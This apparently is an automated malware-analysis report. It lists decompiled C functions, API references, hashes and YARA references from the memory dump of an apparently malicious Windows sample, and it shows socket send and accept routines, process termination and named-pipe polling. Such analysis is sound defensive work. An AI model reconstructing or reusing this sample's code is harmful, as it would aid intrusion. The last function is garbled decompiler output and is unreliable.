0x0086a14a
0x00000000
0x0086a11d
0x0086a11d
0x0086a11e
0x0086a122
0x0086a138
0x0086a139
0x0086a13e
0x0086a141
0x0086a142
0x0086a14c
0x0086a14c
0x0086a14e
0x0086a151
0x0086a154
0x0086a156
0x0086a156
0x0086a144
0x0086a144
0x00000000
0x0086a144
0x0086a124
0x0086a124
0x0086a125
0x0086a12a
0x0086a12d
0x0086a130
0x0086a131
0x0086a131
0x0086a131
0x0086a122
0x0086a15f

APIs

_memset.LIBCMT ref: 0086A125
_memset.LIBCMT ref: 0086A139
_memset.LIBCMT ref: 0086A14A
_memset.LIBCMT ref: 0086A153

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 5a69cb108fce701ab10b2da791308b03fe652bb96a62f69476d0443dfca5149e
Instruction ID: ec9d793f1a3401cb879196064734b4d4224d04a2f373dde6e4967d5c71b73fd5
Opcode Fuzzy Hash: 5a69cb108fce701ab10b2da791308b03fe652bb96a62f69476d0443dfca5149e
Instruction Fuzzy Hash: 3C01A171500208BACB116B799C85DAF7B5DFB1A7A0F05802AF50DE6112E6769800DBB3

Uniqueness

Uniqueness Score: -1.00%

Function 00866FF5, Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00866FF5() {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t13;
				long _t14;
				long _t16;
				void* _t18;
				void* _t22;
				long _t23;
				long _t24;

				_t24 =  *0x897e50;
				_t23 = 0;
				if(_t24 != 0) {
					_t18 = GetTickCount;
					do {
						_t14 =  *(_t24 + 4);
						if(_t14 != 0) {
							L5:
							_t23 = _t24;
							_t24 =  *(_t24 + 0x20);
							goto L6;
						}
						if( *(_t24 + 0xc) != _t14) {
							__eflags = _t14;
							if(_t14 != 0) {
								goto L5;
							}
							_t14 = GetTickCount() -  *(_t24 + 0xc);
							__eflags = _t14 - 0x3e8;
							if(_t14 <= 0x3e8) {
								goto L5;
							}
							__eflags =  *(_t24 + 0x10);
							if( *(_t24 + 0x10) == 0) {
								__imp__#22( *((intOrPtr*)(_t24 + 0x1c)), 2);
							}
							_push( *((intOrPtr*)(_t24 + 0x1c)));
							L00883304();
							__eflags = _t14;
							if(_t14 == 0) {
								L14:
								_t16 =  *(_t24 + 0x20);
								_push(_t24);
								__eflags = _t23;
								if(__eflags == 0) {
									 *0x897e50 = _t16;
									_t14 = E00874778(_t18, _t22, _t23, _t24, __eflags);
									L17:
									return _t14;
								}
								 *(_t23 + 0x20) = _t16;
								_t14 = E00874778(_t18, _t22, _t23, _t24, __eflags);
								_t24 =  *(_t23 + 0x20);
								goto L6;
							} else {
								__eflags =  *(_t24 + 0x10) - 2;
								if( *(_t24 + 0x10) == 2) {
									goto L5;
								}
								goto L14;
							}
						}
						_t14 = GetTickCount();
						 *(_t24 + 0xc) = _t14;
						goto L5;
						L6:
					} while (_t24 != 0);
					goto L17;
				}
				return _t13;
			}

0x00866ff6
0x00866ffd
0x00867001
0x00867004
0x0086700a
0x0086700a
0x0086700f
0x0086701b
0x0086701b
0x0086701d
0x00000000
0x0086701d
0x00867014
0x00867026
0x00867028
0x00000000
0x00000000
0x0086702c
0x0086702f
0x00867034
0x00000000
0x00000000
0x00867036
0x0086703a
0x00867041
0x00867041
0x00867047
0x0086704a
0x0086704f
0x00867051
0x00867059
0x00867059
0x0086705c
0x0086705d
0x0086705f
0x0086706f
0x00867074
0x0086707a
0x00000000
0x0086707a
0x00867061
0x00867064
0x00867069
0x00000000
0x00867053
0x00867053
0x00867057
0x00000000
0x00000000
0x00000000
0x00867057
0x00867051
0x00867016
0x00867018
0x00000000
0x00867020
0x00867020
0x00000000
0x00867024
0x0086707d

APIs

GetTickCount.KERNEL32 ref: 00867016
GetTickCount.KERNEL32 ref: 0086702A
shutdown.WS2_32(00000000,00000002), ref: 00867041
closesocket.WS2_32(00000000), ref: 0086704A

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CountTick$closesocketshutdown
String ID:
API String ID: 170748544-0
Opcode ID: 9b5be28d0643c35ec0c2b484780a6f10a5896523b91680adb3a2773347d56e94
Instruction ID: 2253895bb9f9d12984c7abcf5608a01fe963e49253f7fa4ea7bbd313b0a40925
Opcode Fuzzy Hash: 9b5be28d0643c35ec0c2b484780a6f10a5896523b91680adb3a2773347d56e94
Instruction Fuzzy Hash: AC115E32908F11CBDB319B78D840A17B3E4FB04B68B164A1AD899D3654E731EC408BE2

Uniqueness

Uniqueness Score: -1.00%

Function 0086B09D, Relevance: 6.0, APIs: 4, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086B09D(signed int __eax, signed int* _a4) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t23;
				signed int _t27;
				void* _t29;
				void* _t30;
				signed int _t31;
				signed int _t32;
				signed int _t33;

				_t27 = 0;
				_t32 = __eax;
				_v20 = __eax;
				_v16 = 0;
				_v12 = 0;
				_t33 = __eax;
				while(1) {
					_t31 = 8;
					if(_t33 == 0) {
						break;
					}
					_t32 = _t32 - 1;
					__eflags = _t32;
					do {
						_t31 = _t31 - 1;
						__eflags = _t31;
						do {
							_v8 = E00884D7B(_t29, _t30, __eflags);
							while(1) {
								__eflags = _v8 - E00884D7B(_t29, _t30, __eflags);
								if(__eflags != 0) {
									break;
								}
								_t5 =  &_v12;
								 *_t5 = _v12 ^ 0x00000001;
								__eflags =  *_t5;
							}
							_v8 = E00884D7B(_t29, _t30, __eflags);
							while(1) {
								_t23 = E00884D7B(_t29, _t30, __eflags);
								__eflags = _v8 - _t23;
								if(_v8 != _t23) {
									goto L9;
								}
								_t9 =  &_v16;
								 *_t9 = _v16 ^ 0x00000001;
								__eflags =  *_t9;
							}
							L9:
							__eflags = _v12 - _v16;
						} while (__eflags == 0);
						_t27 = _t27 + _t27 | _v12;
						__eflags = _t31;
					} while (_t31 != 0);
					_a4 =  &(_a4[0]);
					 *_a4 = _t27;
					_t27 = 0;
					__eflags = _t32;
				}
				return _v20;
			}

0x0086b0a5
0x0086b0a7
0x0086b0aa
0x0086b0ad
0x0086b0b0
0x0086b0b3
0x0086b106
0x0086b108
0x0086b109
0x00000000
0x00000000
0x0086b0b7
0x0086b0b7
0x0086b0b8
0x0086b0b8
0x0086b0b8
0x0086b0b9
0x0086b0be
0x0086b0c7
0x0086b0cc
0x0086b0cf
0x00000000
0x00000000
0x0086b0c3
0x0086b0c3
0x0086b0c3
0x0086b0c3
0x0086b0d6
0x0086b0df
0x0086b0df
0x0086b0e4
0x0086b0e7
0x00000000
0x00000000
0x0086b0db
0x0086b0db
0x0086b0db
0x0086b0db
0x0086b0e9
0x0086b0ec
0x0086b0ec
0x0086b0f3
0x0086b0f6
0x0086b0f6
0x0086b0fd
0x0086b100
0x0086b102
0x0086b104
0x0086b104
0x0086b112

APIs

_clock.LIBCMT ref: 0086B0B9
_clock.LIBCMT ref: 0086B0C7
_clock.LIBCMT ref: 0086B0D1
_clock.LIBCMT ref: 0086B0DF

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _clock
String ID:
API String ID: 876827150-0
Opcode ID: 81ac655f699b7cb442b48c07cdc65ba5648e843c095b0ea58a17358ebb222794
Instruction ID: 957bb8a0de6215f47504f3d407363d8f42ad60a43c332abf76b1e2558d52a4ed
Opcode Fuzzy Hash: 81ac655f699b7cb442b48c07cdc65ba5648e843c095b0ea58a17358ebb222794
Instruction Fuzzy Hash: 37014031D00A19EECB10EFE884C15AEBBB4FF10388F6140AAD811E7241D7714E84DB92

Uniqueness

Uniqueness Score: -1.00%

Function 0086A335, Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0086A335(void* __ebx, void* __esi, intOrPtr* _a4) {
				void* __edi;
				void* __ebp;
				intOrPtr* _t6;
				intOrPtr _t9;
				void* _t12;
				void* _t15;
				intOrPtr* _t17;
				void* _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t14 = __ebx;
				_t32 =  *0x897e74;
				_t26 = ",";
				if( *0x897e74 == 0) {
					L3:
					_t6 = _a4;
					_t15 = _t6 + 1;
					do {
						_t24 =  *_t6;
						_t6 = _t6 + 1;
					} while (_t24 != 0);
					_push(_t27);
					_t9 = E00874855(_t14, _t24, _t26, _t6 - _t15 + 1);
					_t17 = _a4;
					 *0x897e74 = _t9;
					_t28 = _t17 + 1;
					do {
						_t25 =  *_t17;
						_t17 = _t17 + 1;
					} while (_t25 != 0);
					E00875100(_t9, _a4, _t17 - _t28 + 1);
					return E00875EBD(_t25, _t17 - _t28 + 1,  *0x897e74, _t26);
				}
				_t12 = E00875EBD(_t23, _t32, 0, ",");
				_t33 = _t12;
				if(_t12 == 0) {
					_push( *0x897e74);
					E00874778(__ebx, _t23, ",", __esi, _t33);
					goto L3;
				}
				return _t12;
			}

0x0086a335
0x0086a335
0x0086a338
0x0086a340
0x0086a345
0x0086a361
0x0086a361
0x0086a364
0x0086a367
0x0086a367
0x0086a369
0x0086a36a
0x0086a371
0x0086a373
0x0086a379
0x0086a37c
0x0086a381
0x0086a384
0x0086a384
0x0086a386
0x0086a387
0x0086a393
0x00000000
0x0086a3a7
0x0086a34a
0x0086a351
0x0086a353
0x0086a355
0x0086a35b
0x00000000
0x0086a360
0x0086a3aa

APIs

_strtok.LIBCMT ref: 0086A34A

Part of subcall function 00875EBD: __getptd.LIBCMT ref: 00875EDB

Part of subcall function 00874778: __lock.LIBCMT ref: 00874796
Part of subcall function 00874778: ___sbh_find_block.LIBCMT ref: 008747A1
Part of subcall function 00874778: ___sbh_free_block.LIBCMT ref: 008747B0
Part of subcall function 00874778: HeapFree.KERNEL32(00000000,00000000,0088F5A8,0000000C,008796BB,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C), ref: 008747E0
Part of subcall function 00874778: GetLastError.KERNEL32(?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3,00000000,00000000,?,00879775,0000000D), ref: 008747F1

_malloc.LIBCMT ref: 0086A373
_strncpy.LIBCMT ref: 0086A393
_strtok.LIBCMT ref: 0086A39F

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: _strtok$ErrorFreeHeapLast___sbh_find_block___sbh_free_block__getptd__lock_malloc_strncpy
String ID:
API String ID: 1160209254-0
Opcode ID: cbc805b12e70d901cd47cdec887c77df9f981a19bb3a5184eda44d98097c18b4
Instruction ID: 71c7c60ffd94f6e2dfbd3fb3c44bce05e98774c15b642cdffbfb26d2135486a6
Opcode Fuzzy Hash: cbc805b12e70d901cd47cdec887c77df9f981a19bb3a5184eda44d98097c18b4
Instruction Fuzzy Hash: CD0126320081016ECB096B28ED4AE7A3B6DFB43715F0541AAF54CD7321DA72DC098A52

Uniqueness

Uniqueness Score: -1.00%

Function 00401B10, Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 00401B39
__dllonexit.MSVCRT ref: 00401B73
_unlock.MSVCRT ref: 00401BA3
_onexit.MSVCRT ref: 00401BB3

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: __dllonexit_lock_onexit_unlock
String ID:
API String ID: 209411981-0
Opcode ID: 5c03e3ef2c1c4ada4a70a27f84cde99a1c7db520efb254b4578404a14bfeac02
Instruction ID: 28a437deb113a4e94c9c93ba593ad7c8130d6d166dd612ef0a8387ab89344a6a
Opcode Fuzzy Hash: 5c03e3ef2c1c4ada4a70a27f84cde99a1c7db520efb254b4578404a14bfeac02
Instruction Fuzzy Hash: 661172B4A093018BC700EF79D8C551EBBE0BB49348F41493EF484973A2EB7894999B86

Uniqueness

Uniqueness Score: -1.00%

Function 008683E7, Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E008683E7(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _v16;
				signed int _v20;
				long _t12;
				void* _t21;

				_v20 = _v20 & 0x00000000;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				E008667D0( &_v20, _a4, _a8);
				_t12 = E008667E9( &_v20);
				_t20 = _t12;
				_t21 = OpenProcess(1, 0, _t12);
				if(_t21 == 0 || TerminateProcess(_t21, 0) == 0) {
					E00861EDD(0x23, _t20, GetLastError());
				}
				return CloseHandle(_t21);
			}

0x008683ed
0x008683fe
0x008683ff
0x00868400
0x00868405
0x00868411
0x00868417
0x00868424
0x00868428
0x00868441
0x00868446
0x00868453

APIs

OpenProcess.KERNEL32(00000001,00000000,00000000,?,?,?), ref: 0086841E
TerminateProcess.KERNEL32(00000000,00000000,?,?,?), ref: 0086842D
GetLastError.KERNEL32(?,?,?), ref: 00868437
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?), ref: 0086844A

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Process$CloseErrorHandleLastOpenTerminate
String ID:
API String ID: 4043475357-0
Opcode ID: cdf8955a1de175f0ef9b7e01170540ddbc9830fd977014df6e9155c37261c34d
Instruction ID: 83b11e5eea7834a8154c7e450a83620bf3ee40f5afaf40792155af9f19cca02c
Opcode Fuzzy Hash: cdf8955a1de175f0ef9b7e01170540ddbc9830fd977014df6e9155c37261c34d
Instruction Fuzzy Hash: EBF0AF32904615BFEB106BA9EC0EFAF7BBCFF84754F110824F904E5191EB70D60886A6

Uniqueness

Uniqueness Score: -1.00%

Function 00861705, Relevance: 6.0, APIs: 4, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00861705(intOrPtr _a4, intOrPtr _a8, char _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t9;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t25;

				_t9 = E00874C1D(_a8,  &_a12);
				_t25 = _t9;
				_t28 = _t25;
				if(_t25 > 0) {
					_push(_t22);
					_t3 = _t25 + 1; // 0x1
					_t23 = E00874855(_t3, _t21, _t22, _t3);
					 *((char*)(_t23 + _t25)) = 0;
					E00874BA9(_t23, _t17, _a8,  &_a12);
					E008612CF(_t17, _t23, _t25, _a4);
					E0087C290(_t23, _t23, 0, _t25);
					_push(_t23);
					return E00874778(_t17, _t21, _t23, _t25, _t28);
				}
				return _t9;
			}

0x00861710
0x00861715
0x00861719
0x0086171b
0x0086171e
0x0086171f
0x00861728
0x0086172e
0x00861737
0x00861741
0x0086174a
0x0086174f
0x00000000
0x00861759
0x0086175c

APIs

_vwprintf.LIBCMT ref: 00861710

Part of subcall function 00874C1D: __vscwprintf_helper.LIBCMT ref: 00874C2F

_malloc.LIBCMT ref: 00861723

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

_vswprintf_s.LIBCMT ref: 00861737

Part of subcall function 00874BA9: __vsprintf_s_l.LIBCMT ref: 00874BBC

_memset.LIBCMT ref: 0086174A

Part of subcall function 00874778: __lock.LIBCMT ref: 00874796
Part of subcall function 00874778: ___sbh_find_block.LIBCMT ref: 008747A1
Part of subcall function 00874778: ___sbh_free_block.LIBCMT ref: 008747B0
Part of subcall function 00874778: HeapFree.KERNEL32(00000000,00000000,0088F5A8,0000000C,008796BB,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C), ref: 008747E0
Part of subcall function 00874778: GetLastError.KERNEL32(?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3,00000000,00000000,?,00879775,0000000D), ref: 008747F1

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateErrorFreeLast___sbh_find_block___sbh_free_block__lock__vscwprintf_helper__vsprintf_s_l_malloc_memset_vswprintf_s_vwprintf
String ID:
API String ID: 3037472818-0
Opcode ID: 94413ae98f6b0990ed8f559004a1163fbd4b6571ba0d370f707148a43e9b6c54
Instruction ID: f7c565d74064b1f6b7b78c353c318f5f79ee985318f8d08944ffdcd4ff6c5090
Opcode Fuzzy Hash: 94413ae98f6b0990ed8f559004a1163fbd4b6571ba0d370f707148a43e9b6c54
Instruction Fuzzy Hash: 14F090770002197ADB12AA68DC81EBF379CFB867A0F154119F91CD600ADB31E91052B2

Uniqueness

Uniqueness Score: -1.00%

Function 0086AEDF, Relevance: 6.0, APIs: 4, Instructions: 40
networkCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E0086AEDF(void* __eax, intOrPtr* _a4) {
				void* __edi;
				void* __esi;
				void* _t9;
				void* _t10;
				intOrPtr* _t15;

				_t15 = _a4;
				__imp__#1( *_t15, 0, 0);
				_t10 = __eax;
				if(__eax != 0xffffffff) {
					do {
					} while (E0086AE98( *((intOrPtr*)(_t15 + 0x14)), __eax) > 2);
					_push(0);
					_push( *((intOrPtr*)(_t15 + 8)));
					_push( *((intOrPtr*)(_t15 + 0x10)));
					_push(_t10);
					L008832FE();
					_push(0);
					_push( *((intOrPtr*)(_t15 + 4)));
					_push( *((intOrPtr*)(_t15 + 0xc)));
					_push(_t10);
					L008832FE();
					_t9 = E0086AE6F(_t15);
					_push(_t10);
					L00883304();
				} else {
					_t9 = E0086AE6F(_t15);
				}
				 *0x897e88 =  *0x897e88 - 1;
				return _t9;
			}

0x0086aee4
0x0086aeed
0x0086aef3
0x0086aef8
0x0086af02
0x0086af0e
0x0086af11
0x0086af13
0x0086af16
0x0086af19
0x0086af1a
0x0086af1f
0x0086af21
0x0086af24
0x0086af27
0x0086af28
0x0086af2d
0x0086af32
0x0086af33
0x0086aefa
0x0086aefa
0x0086aefa
0x0086af39
0x0086af42

APIs

accept.WS2_32(?,00000000,00000000), ref: 0086AEED
send.WS2_32(00000000,?,?,00000000), ref: 0086AF1A
send.WS2_32(00000000,?,?,00000000), ref: 0086AF28
closesocket.WS2_32(00000000), ref: 0086AF33

Part of subcall function 0086AE6F: closesocket.WS2_32(?), ref: 0086AE71

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: closesocketsend$accept
String ID:
API String ID: 2168303407-0
Opcode ID: dbdf490bfddd2b21191de67d34da812dbbd3f46d9aee93e43b8180d743945719
Instruction ID: 37efccd8c8d4d5a5d438ca3c195c0628758f7d203e88894f12a761008e17b0cc
Opcode Fuzzy Hash: dbdf490bfddd2b21191de67d34da812dbbd3f46d9aee93e43b8180d743945719
Instruction Fuzzy Hash: 7BF0BB761047047AD6353BB8AC82F4AB76CFF04730F210905F612F10928E63B8405F67

Uniqueness

Uniqueness Score: -1.00%

Function 0086739B, Relevance: 6.0, APIs: 4, Instructions: 39memorythreadCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.KERNEL32(00000000,0086743E,00000000,00000000,008683CE,?,008683CE,?,?,0086743E,00000000,?), ref: 008673B6
GetProcessHeap.KERNEL32(00000000,00000000,?,?,0086743E,00000000,?), ref: 008673BC
HeapAlloc.KERNEL32(00000000,?,?,0086743E,00000000,?), ref: 008673C3
InitializeProcThreadAttributeList.KERNEL32(00000000,0086743E,00000000,00000000,?,?,0086743E,00000000,?), ref: 008673D8

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AttributeHeapInitializeListProcThread$AllocProcess
String ID:
API String ID: 1212816094-0
Opcode ID: 53e8ad89fc56078c45a97e33ce32dcaabded550d6ef7e703f0fa72a3dca90352
Instruction ID: 0f8500bbadb38b088f36a2e15514e7fea15dc459abc2c8ccd38dc3697ec948f6
Opcode Fuzzy Hash: 53e8ad89fc56078c45a97e33ce32dcaabded550d6ef7e703f0fa72a3dca90352
Instruction Fuzzy Hash: C6F0F476504118BB9B11DBE59DC8CAF7EBDFA896547210456F901D2210D671DA01E7B0

Uniqueness

Uniqueness Score: -1.00%

Function 0086598E, Relevance: 6.0, APIs: 4, Instructions: 35
sleeppipeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086598E(void* __ecx, void* _a4, intOrPtr _a8) {
				long _v8;
				int _t7;
				void* _t15;

				_v8 = 0;
				_t15 = GetTickCount() + _a8;
				while(1) {
					_t7 = GetTickCount();
					if(_t7 >= _t15) {
						break;
					}
					_t7 = PeekNamedPipe(_a4, 0, 0, 0,  &_v8, 0);
					if(_t7 != 0 && _v8 <= 0) {
						Sleep(0x1f4);
						continue;
					}
					break;
				}
				return _t7;
			}

0x0086599d
0x008659a4
0x008659ce
0x008659ce
0x008659d2
0x00000000
0x00000000
0x008659b4
0x008659bc
0x008659c8
0x00000000
0x008659c8
0x00000000
0x008659bc
0x008659d8

APIs

GetTickCount.KERNEL32 ref: 008659A0
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00865ACC,?), ref: 008659B4
Sleep.KERNEL32(000001F4,?,00000000,00000000,?,?,00865ACC,?), ref: 008659C8
GetTickCount.KERNEL32 ref: 008659CE

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CountTick$NamedPeekPipeSleep
String ID:
API String ID: 1593283408-0
Opcode ID: 45589e4008566132e337f5e9d535e0ae5f92d0c847940f754e2ddacd149a9ea2
Instruction ID: 3d9571cbdaeb4e7f059e387d0f37f3c009b752b10e16a3b8f900af63add733f2
Opcode Fuzzy Hash: 45589e4008566132e337f5e9d535e0ae5f92d0c847940f754e2ddacd149a9ea2
Instruction Fuzzy Hash: 66F01CB250061DFFAB015F98AC849AABBBDFA447A8B254076F501D6010EAB0DE409BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0087DDB5, Relevance: 6.0, APIs: 4, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0087DDB5(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t13;
				void* _t25;
				intOrPtr _t27;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x88f940);
				E00876FC0(__ebx, __edi, __esi);
				_t29 = E008796CA(__ebx, _t31);
				_t13 =  *0x891c94; // 0xfffffffe
				if(( *(_t29 + 0x70) & _t13) == 0) {
					L6:
					E008764C8(_t22, _t26, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t8 = _t29 + 0x6c; // 0x6c
					_t27 =  *0x891d78; // 0x891ca0
					 *((intOrPtr*)(_t30 - 0x1c)) = E0087DD77(_t8, _t25, _t27);
					 *(_t30 - 4) = 0xfffffffe;
					E0087DE1F();
				} else {
					_t33 =  *((intOrPtr*)(_t29 + 0x6c));
					if( *((intOrPtr*)(_t29 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E008796CA(_t22, _t33) + 0x6c));
					}
				}
				if(_t29 == 0) {
					E00874D3C(_t25, 0x20);
				}
				return E00877005(_t29);
			}

0x0087ddb5
0x0087ddb5
0x0087ddb5
0x0087ddb5
0x0087ddb5
0x0087ddb7
0x0087ddbc
0x0087ddc6
0x0087ddc8
0x0087ddd0
0x0087ddf4
0x0087ddf6
0x0087ddfc
0x0087de00
0x0087de03
0x0087de0e
0x0087de11
0x0087de18
0x0087ddd2
0x0087ddd2
0x0087ddd6
0x00000000
0x0087ddd8
0x0087dddd
0x0087dddd
0x0087ddd6
0x0087dde2
0x0087dde6
0x0087ddeb
0x0087ddf3

APIs

__getptd.LIBCMT ref: 0087DDC1

Part of subcall function 008796CA: __getptd_noexit.LIBCMT ref: 008796CD
Part of subcall function 008796CA: __amsg_exit.LIBCMT ref: 008796DA

__getptd.LIBCMT ref: 0087DDD8
__amsg_exit.LIBCMT ref: 0087DDE6
__lock.LIBCMT ref: 0087DDF6

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 51fbe2541110eae3a748bbf272c43da90b9fe25336be842c3c31fd7d4d9db42c
Instruction ID: 2a432fcfc83dab20ca7b41643d1b1416f28e8a17afe75b62d899a9b021294d1c
Opcode Fuzzy Hash: 51fbe2541110eae3a748bbf272c43da90b9fe25336be842c3c31fd7d4d9db42c
Instruction Fuzzy Hash: 00F03032A40B049BD731BBBC9806B597AB0FF00720F14C559E55CDB2AACB74D941CB53

Uniqueness

Uniqueness Score: -1.00%

Function 00867C92, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00867C92(void** __eax, void* __ebx, void* __edx, void* __edi, intOrPtr _a4, void* _a8, void* _a12, intOrPtr _a16, void* _a20, intOrPtr _a24, void* _a28, void* _a36, void* _a40, void* _a44, void* _a48, char _a52, char _a68) {
				void* _v8;
				char _v24;
				char _v117;
				void* __esi;
				void** _t203;
				signed int _t206;
				void* _t218;
				void* _t230;
				void* _t231;
				void* _t234;
				void* _t236;
				void* _t237;

				_t230 = __edi;
				_t218 = __ebx;
				_t203 = __eax;
				if(__edx + __ebx < 0) {
					L46:
					 *_t203 =  *_t203 + _t203;
					__eflags =  *_t203;
					_t231 =  *(_t218 + 8);
					goto L47;
				} else {
					_t157 = __edx + 0x79;
					 *_t157 =  *(__edx + 0x79) + __dh;
					__eflags =  *_t157;
					_t159 = __al;
					__al =  *__eax;
					 *__eax = _t159;
					_t160 = __eax;
					__eax = __ebx;
					__ebx = _t160;
					if( *_t157 >= 0) {
						L48:
						asm("les edx, [ebx+ecx*4]");
						goto L49;
					} else {
						__bh = __bh + __dh;
						__eflags = __bh;
						if(__bh >= 0) {
							L50:
							asm("sbb al, 0xb9");
						} else {
							 *__eax = __bh +  *__eax;
							__eflags =  *__eax;
							if( *__eax != 0) {
								 *_t203 =  *_t203 + _t203;
								__eflags =  *_t203;
								memcpy(_t231, _t234, 0x100 << 2);
								_t237 = _t236 + 0xc;
								while(1) {
									L53:
									_t230 = 0x400;
									while(1) {
										L2:
										_t206 = E008667E9( &_a52);
										if(_t206 > 0x10) {
											continue;
										}
										L3:
										switch( *((intOrPtr*)(_t206 * 4 +  &M00867C87))) {
											case 0:
												__eflags = _a48;
												if(_a48 == 0) {
													__eflags = _a44;
													goto L56;
												}
												goto L63;
											case 1:
												E0087C290(_t230,  &_a68, 0, _t230);
												_t219 =  &_a68;
												E0087B0A0(_t219, _t230, _t234,  *((intOrPtr*)(_a12 + 0x18)) + _a36, _t219, E008668FB(_t219, _t239,  &_a52, _t230));
												_t216 = _t219;
												_t237 = _t237 + 0x20;
												_t226 = _t216 + 1;
												do {
													_t229 =  *_t216;
													_t216 = _t216 + 1;
												} while (_t229 != 0);
												_a36 = _a36 + _t216 - _t226;
												goto L2;
											case 2:
												 &_a68 = E0087C290(__edi,  &_a68, 0, __edi);
												__eax =  &_a52;
												__ebx =  &_a68;
												__eax = E008668FB( &_a68, __eflags,  &_a52, __edi);
												__esi = _a12;
												__ebx =  *(__esi + 0x1c);
												 &_a68 = E0087B0A0(__ebx, __edi, __esi, __ebx,  &_a68,  &_a68);
												__eax =  &_a68;
												__ecx = __eax + 1;
												do {
													__dl =  *__eax;
													__eax = __eax + 1;
													__eflags = __dl;
												} while (__dl != 0);
												__eax = __eax - __ecx;
												__ecx =  *(__esi + 0x18);
												__eflags = __eax;
												_a40 =  *(__esi + 0x18);
												__eax = E0087B0A0(__ebx, __edi, __esi, __eax,  *(__esi + 0x18), _a36);
												__eax =  &_a68;
												__ecx = __eax + 1;
												do {
													__dl =  *__eax;
													__eax = __eax + 1;
													__eflags = __dl;
												} while (__dl != 0);
												__eax = __eax - __ecx;
												_t27 =  &_a36;
												 *_t27 = _a36 + __eax;
												__eflags =  *_t27;
												__eax = E0087C290(__edi, _a40, 0,  *(__esi + 0x14));
												_push(_a36);
												_push(__ebx);
												_push(_a40);
												goto L12;
											case 3:
												__esi = _a12;
												__eax =  *(__esi + 0x14);
												_a40 =  *(__esi + 0x14);
												__eax =  &_a40;
												__eax =  *(__esi + 0x18);
												__eax = E0086B19D( *(__esi + 0x18), _a36,  *(__esi + 0x1c),  &_a40);
												__eflags = __eax;
												if(__eax == 0) {
													goto L14;
												}
												goto L63;
											case 4:
												__esi = _a12;
